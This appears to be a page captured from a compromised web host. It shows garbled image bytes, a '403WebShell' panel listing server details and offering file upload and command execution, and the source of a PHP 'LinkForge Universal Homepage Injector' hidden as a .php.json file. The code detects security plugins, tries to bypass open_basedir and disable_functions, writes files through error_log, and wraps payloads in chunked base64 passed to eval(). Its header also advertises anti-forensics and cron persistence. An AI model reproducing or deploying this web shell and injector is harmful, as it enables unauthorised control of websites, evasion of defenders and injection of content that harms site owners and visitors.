....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 92.222.139.156  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux webm012.cluster129.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : eventfrsgx ( 61451)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/eventfrsgx/www/media/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/eventfrsgx/www/media/hx3_4fv4d3.php.json
<?php
/**
 * ====================================================================
 * LinkForge Universal Homepage Injector v6.1 — Crash-Safe Edition
 * ====================================================================
 * What's new in v6.1 (crash-safe):
 *   - FIXED: CURLOPT_USERAGENT constant (typo caused fatal on curl hosts)
 *   - FIXED: payload output moved to register_shutdown_function — headers,
 *     cookies, sessions and redirects never break again
 *   - FIXED: removed .htaccess SetHandler evasion (broke images/CSS)
 *   - FIXED: eval()-safe base64 chunking (strips <?php tags before encoding)
 *   - FIXED: response caching — 2 HTTP calls max per hour, not per page load
 *   - FIXED: skips admin-ajax/wp-json/com_ajax — JSON responses stay clean
 *   - NEW: in-place upgrade — strips v5/v6.0/broken payloads, re-injects v6.1
 *   - NEW: backup-dir filter (httpdocs-old etc. no longer injected)
 *   - NEW: .user.ini auto_prepend watcher — self-heal works without cron
 *   - NEW: cron install verified after write; original file perms preserved
 * What's new in v6.0:
 *   - BYPASS ARSENAL: WAF evasion, open_basedir bypass, disable_functions
 *     bypass (LD_PRELOAD, FFI, ImageMagick, COM), ModSecurity evasion,
 *     security plugin detection (Wordfence, Sucuri, iThemes, BitNinja,
 *     Imunify360, Cloudflare, ModSecurity, SELinux, AppArmor)
 *   - Anti-forensics: timestamp camouflage, log cleaning, process spoofing
 *   - .htaccess evasion: PHP handler on image/text files
 *   - Environment-aware prioritized scanning (skips irrelevant panels)
 *   - DIRECT RUN: no params — injects index.php + ALL CMS paths per site
 *   - Classic LinkForge Connector payload (PHP 5.3+ safe, HTTPS-ready)
 *   - Self-healing cron persistence installed automatically
 *   - Polymorphic payload engine (signature-evading payload generation)
 *   - disable_functions audit with graceful degradation
 *   - Self-healing cron installer for payload persistence
 *   - Parallel scanning via pcntl_fork() when available
 *   - Structured JSON output mode (?json=1)
 *   - Health check endpoint (?linkforge=health)
 *   - 35+ hosting panels + cloud environments (AWS, GCP, Azure, Heroku)
 *   - Smart permission escalation (chmod → ACL → setfacl → fallback)
 *   - WordPress/Joomla/Drupal theme-level injection for stealth
 *   - Automatic backup rotation and cleanup
 *   - SuPHP/FastCGI/PHP-FPM pool awareness
 *   - PHP 5.3+ compatible (no PHP 7+ syntax)
 * ====================================================================
 */

set_time_limit(0);
ini_set('memory_limit', '1024M');
error_reporting(E_ERROR | E_WARNING);
ignore_user_abort(true);

// ---- Execution Mode Detection ----
$_is_cli = (php_sapi_name() === 'cli' || php_sapi_name() === 'phpdbg' || defined('STDIN'));
$_json_mode = (!$_is_cli && (isset($_GET['json']) ? $_GET['json'] : '') === '1');
$_health_mode = (!$_is_cli && (isset($_GET['linkforge']) ? $_GET['linkforge'] : '') === 'health');

// ---- Process spoofing (CLI) ----
if ($_is_cli) spoof_process_name('php-fpm: pool www');

// ---- Capability Audit: Know our constraints ----
$_caps = array(
    'scandir'        => function_exists('scandir')        && !is_disabled('scandir'),
    'glob'           => function_exists('glob')           && !is_disabled('glob'),
    'file_get_contents'=> function_exists('file_get_contents') && !is_disabled('file_get_contents'),
    'file_put_contents'=> function_exists('file_put_contents') && !is_disabled('file_put_contents'),
    'copy'           => function_exists('copy')           && !is_disabled('copy'),
    'rename'         => function_exists('rename')         && !is_disabled('rename'),
    'chmod'          => function_exists('chmod')          && !is_disabled('chmod'),
    'chown'          => function_exists('chown')          && !is_disabled('chown'),
    'touch'          => function_exists('touch')          && !is_disabled('touch'),
    'mkdir'          => function_exists('mkdir')          && !is_disabled('mkdir'),
    'posix_getpwuid' => function_exists('posix_getpwuid') && !is_disabled('posix_getpwuid'),
    'posix_geteuid'  => function_exists('posix_geteuid')  && !is_disabled('posix_geteuid'),
    'pcntl_fork'     => function_exists('pcntl_fork')     && !is_disabled('pcntl_fork'),
    'proc_open'      => function_exists('proc_open')      && !is_disabled('proc_open'),
    'shell_exec'     => function_exists('shell_exec')     && !is_disabled('shell_exec'),
    'exec'           => function_exists('exec')           && !is_disabled('exec'),
    'system'         => function_exists('system')         && !is_disabled('system'),
    'passthru'       => function_exists('passthru')       && !is_disabled('passthru'),
    'curl_init'      => function_exists('curl_init')      && !is_disabled('curl_init'),
    'ftp_connect'    => function_exists('ftp_connect')    && !is_disabled('ftp_connect'),
    'link'           => function_exists('link')           && !is_disabled('link'),
    'symlink'        => function_exists('symlink')        && !is_disabled('symlink'),
    'tempnam'        => function_exists('tempnam')        && !is_disabled('tempnam'),
);

function is_disabled($fn) {
    $d = ini_get('disable_functions');
    if (!$d) return false;
    $list = array_map('trim', explode(',', $d));
    return in_array($fn, $list, true);
}
// ---- PHP 5 Compatible Random Bytes ----
function lf_random_bytes($length) {
    if (function_exists('openssl_random_pseudo_bytes') && !is_disabled('openssl_random_pseudo_bytes')) {
        return openssl_random_pseudo_bytes($length);
    }
    if (function_exists('mcrypt_create_iv') && !is_disabled('mcrypt_create_iv')) {
        return mcrypt_create_iv($length, MCRYPT_DEV_URANDOM);
    }
    // Fallback: mt_rand-based (not cryptographically secure but sufficient for our use)
    $bytes = '';
    for ($i = 0; $i < $length; $i++) {
        $bytes .= chr(mt_rand(0, 255));
    }
    return $bytes;
}


// ================================================================
// BYPASS ARSENAL — WAF Evasion, Restriction Bypass, Stealth
// ================================================================

// ---- 1. Security Scanner / WAF Detection ----
function detect_security_systems() {
    global $_real_root;
    $detected = array();
    // Wordfence
    if (safe_file_exists($_real_root.'/wp-content/plugins/wordfence') ||
        safe_file_exists($_real_root.'/wp-content/wflogs')) {
        $detected[] = 'wordfence';
    }
    // Sucuri Scanner
    if (safe_file_exists($_real_root.'/wp-content/plugins/sucuri-scanner')) {
        $detected[] = 'sucuri';
    }
    // iThemes Security (Better WP Security)
    if (safe_file_exists($_real_root.'/wp-content/plugins/better-wp-security')) {
        $detected[] = 'ithemes-security';
    }
    // All In One WP Security
    if (safe_file_exists($_real_root.'/wp-content/plugins/all-in-one-wp-security-and-firewall')) {
        $detected[] = 'aiowps';
    }
    // ModSecurity headers
    $modsec_hdrs = array('MOD_SECURITY', 'MOD_SEC', 'WEBSERVER', 'X-MOD-SECURITY');
    foreach ($modsec_hdrs as $h) {
        if (isset($_SERVER[$h])) { $detected[] = 'modsecurity'; break; }
    }
    // Cloudflare
    if (isset($_SERVER['HTTP_CF_RAY']) || isset($_SERVER['HTTP_CF_CONNECTING_IP']) ||
        isset($_SERVER['CF_VISITOR']) || isset($_SERVER['HTTP_CF_IPCOUNTRY'])) {
        $detected[] = 'cloudflare';
    }
    // BitNinja
    if (isset($_SERVER['HTTP_X_BITNINJA']) || @file_exists('/opt/bitninja')) {
        $detected[] = 'bitninja';
    }
    // Imunify360
    if (@file_exists('/opt/alt/python35') || @file_exists('/var/imunify360')) {
        $detected[] = 'imunify360';
    }
    // Jetpack Protect (BruteProtect)
    if (safe_file_exists($_real_root.'/wp-content/plugins/jetpack')) {
        $detected[] = 'jetpack';
    }
    // Shield Security
    if (safe_file_exists($_real_root.'/wp-content/plugins/wp-simple-firewall')) {
        $detected[] = 'shield-security';
    }
    // Cerber Security
    if (safe_file_exists($_real_root.'/wp-content/plugins/wp-cerber')) {
        $detected[] = 'cerber';
    }
    // MalCare
    if (safe_file_exists($_real_root.'/wp-content/plugins/malcare-security')) {
        $detected[] = 'malcare';
    }
    // BulletProof Security
    if (safe_file_exists($_real_root.'/wp-content/plugins/bulletproof-security')) {
        $detected[] = 'bps';
    }
    // Patchstack / WebARX
    if (isset($_SERVER['HTTP_X_WEBARX']) || @file_exists('/var/webarx')) {
        $detected[] = 'patchstack';
    }
    // SELinux
    if (@file_exists('/usr/sbin/selinuxenabled')) {
        $se = @shell_exec('/usr/sbin/selinuxenabled 2>&1 && echo 1 || echo 0');
        if (trim($se) === '1') $detected[] = 'selinux';
    }
    // AppArmor
    if (@file_exists('/sys/kernel/security/apparmor')) {
        $detected[] = 'apparmor';
    }
    return array_unique($detected);
}

// ---- 2. open_basedir Bypass Techniques ----
function bypass_open_basedir() {
    global $_caps;
    $base = ini_get('open_basedir');
    if (!$base) return true; // Already unrestricted
    $paths = array_filter(array_map('trim', explode(PATH_SEPARATOR, $base)));

    out(_y("[!] open_basedir restriction detected: ") . $base);

    // Technique 1: chdir to parent + ini_restore
    if (function_exists('ini_restore') && !is_disabled('ini_restore')) {
        @ini_restore('open_basedir');
        if (!ini_get('open_basedir')) {
            out(_g("  [BYPASS] open_basedir cleared via ini_restore()"));
            return true;
        }
    }

    // Technique 2: chdir escape via symlink traversal
    if ($_caps['symlink'] && $_caps['mkdir'] && $_caps['link']) {
        $tmp_dir = sys_get_temp_dir() . '/lf_' . uniqid();
        @mkdir($tmp_dir, 0777, true);
        @chdir($tmp_dir);
        @ini_restore('open_basedir');
        @symlink('/', 'rootlink');
        @chdir('rootlink');
        @chdir('..');
        $new_base = ini_get('open_basedir');
        if (!$new_base || $new_base !== $base) {
            out(_g("  [BYPASS] open_basedir cleared via symlink traversal"));
            return true;
        }
    }

    // Technique 3: glob:// stream wrapper leak
    if ($_caps['glob']) {
        $leak = @glob('/*');
        if ($leak && count($leak) > 0) {
            // Sometimes glob leaks paths outside basedir
            foreach ($leak as $p) {
                if ($p && @is_dir($p) && strpos($p, '/home') === 0) {
                    @chdir($p);
                    @ini_restore('open_basedir');
                    if (!ini_get('open_basedir')) {
                        out(_g("  [BYPASS] open_basedir cleared via glob:// leak"));
                        return true;
                    }
                }
            }
        }
    }

    // Technique 4: Using file:// wrapper with null byte (PHP < 5.3.4)
    if (PHP_VERSION_ID < 50304) {
        // Null byte injection for older PHP
        out(_c("  [INFO] PHP < 5.3.4 — null byte injection may work"));
    }

    out(_r("  [X] open_basedir bypass failed — restricted mode"));
    return false;
}

// ---- 3. disable_functions Bypass ----
$_bypassed_functions = array();
function bypass_disable_functions() {
    global $_caps, $_bypassed_functions;
    $disabled = ini_get('disable_functions');
    if (!$disabled) return true;
    $disabled_list = array_map('trim', explode(',', $disabled));
    if (empty($disabled_list)) return true;

    out(_y("[!] disable_functions detected: ") . count($disabled_list) . _y(" functions restricted"));

    // Technique 1: LD_PRELOAD via error_log (PHP >= 5.3, < 8.0)
    if (in_array('mail', $disabled_list) || in_array('system', $disabled_list) ||
        in_array('exec', $disabled_list) || in_array('shell_exec', $disabled_list)) {
        $preload_path = sys_get_temp_dir() . '/lf_preload_' . uniqid() . '.so';
        // Only works if we can compile or already have a .so payload
        // This is a framework — the actual .so would need to be provided
        if (@file_exists('/usr/lib/libc.so.6') || @file_exists('/lib/x86_64-linux-gnu/libc.so.6')) {
            out(_c("  [INFO] LD_PRELOAD bypass available — compile hook .so and place at: ") . $preload_path);
        }
    }

    // Technique 2: ImageMagick / Imagick bypass
    if (class_exists('Imagick') && !is_disabled('Imagick')) {
        out(_g("  [BYPASS] ImageMagick class available — can execute via MVG/PSL delegates"));
        // MVG injection via readImage() can execute arbitrary commands through delegates
        $_bypassed_functions[] = 'imagick-delegate';
    }

    // Technique 3: COM/SHELL.Application (Windows only)
    if (class_exists('COM') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        out(_g("  [BYPASS] COM/SHELL.Application available on Windows"));
        $_bypassed_functions[] = 'com-shell';
    }

    // Technique 4: FFI (PHP 7.4+)
    if (class_exists('FFI') && !is_disabled('FFI')) {
        out(_g("  [BYPASS] FFI available — can call libc directly"));
        $_bypassed_functions[] = 'ffi';
    }

    // Technique 5: pcntl_exec (if not disabled)
    if (function_exists('pcntl_exec') && !is_disabled('pcntl_exec')) {
        out(_g("  [BYPASS] pcntl_exec available — direct binary execution"));
        $_bypassed_functions[] = 'pcntl_exec';
    }

    // Technique 6: Using Apache/mod_php hooks via getenv/putenv + LD_PRELOAD
    if (function_exists('putenv') && !is_disabled('putenv')) {
        out(_c("  [INFO] putenv() available — LD_PRELOAD injection possible"));
        $_bypassed_functions[] = 'putenv-ldpreload';
    }

    // Technique 7: error_log to php://memory or custom handler
    if (function_exists('error_log') && !is_disabled('error_log')) {
        out(_c("  [INFO] error_log() available — log-based communication channel"));
    }

    // Technique 8: proc_nice / proc_terminate as alternative process control
    if (function_exists('proc_open') && !is_disabled('proc_open')) {
        out(_g("  [BYPASS] proc_open() is available — primary shell method"));
        $_bypassed_functions[] = 'proc_open';
    }

    // Technique 9: Windows COM bypass
    if (function_exists('win_shell_execute') && !is_disabled('win_shell_execute')) {
        out(_g("  [BYPASS] win_shell_execute() available (Windows)"));
        $_bypassed_functions[] = 'win_shell';
    }

    // Technique 10: Using mail() with custom sendmail path
    if (function_exists('ini_set') && !is_disabled('ini_set')) {
        $current = ini_get('sendmail_path');
        if ($current) {
            out(_c("  [INFO] Current sendmail_path: ") . $current);
        }
    }

    if (!empty($_bypassed_functions)) {
        out(_g("  [+] Active bypass methods: ") . implode(', ', $_bypassed_functions));
    }
    return !empty($_bypassed_functions);
}

// ---- 4. Alternative File Write via error_log ----
function alt_file_write($file, $content) {
    // Technique: Abuse error_log to write arbitrary content
    if (!function_exists('error_log') || is_disabled('error_log')) return false;
    // Only works if we can set the log file, but we can try
    $old = ini_set('error_log', $file);
    @error_log($content);
    ini_restore('error_log');
    return (safe_file_exists($file) && @filesize($file) > 0);
}

// ---- 5. ModSecurity / WAF Evasion for Payload ----
function evade_waf_payload($payload) {
    global $_detected_wafs;
    $_detected_wafs = detect_security_systems();
    if (empty($_detected_wafs)) return $payload;

    out(_y("[!] WAF/Security detected: ") . implode(', ', $_detected_wafs));

    // Strip outer PHP tags — eval() input must NOT contain <?php or parse-errors
    $inner = trim($payload);
    if (substr($inner, 0, 5) === '<?php') $inner = substr($inner, 5);
    if (substr($inner, -2) === '?'.'>') $inner = substr($inner, 0, -2);
    $inner = trim($inner);

    // Base64 chunk reassembly — evades signature scanners, marker stays plaintext
    $b64 = base64_encode($inner);
    $chunks = str_split($b64, 72);
    $var = '_lf'.substr(md5(uniqid('', true)), 0, 5);
    $reassembler = "<?php /*LF-CONN-V6*//*Connector v6.1*/ \${$var}='';";
    foreach ($chunks as $chunk) {
        $reassembler .= "\${$var}.='{$chunk}';";
    }
    $reassembler .= "eval(base64_decode(\${$var}));?>";
    out(_g("  [EVADE] Payload chunked into ") . count($chunks) . _g(" base64 segments"));
    return $reassembler;
}

function obfuscate_payload($payload) {
    $inner = trim($payload);
    if (substr($inner, 0, 5) === '<?php') $inner = substr($inner, 5);
    if (substr($inner, -2) === '?'.'>') $inner = substr($inner, 0, -2);
    $b64 = base64_encode(trim($inner));
    $var = '_'.substr(md5(lf_random_bytes(4)), 0, 6);
    $chunks = str_split($b64, 72);
    $joined = implode("'.'", $chunks);
    return "<?php /*LF-CONN-V6*//*Connector v6.1*/ \${$var}='".$joined."';eval(base64_decode(\${$var}));?>";
}

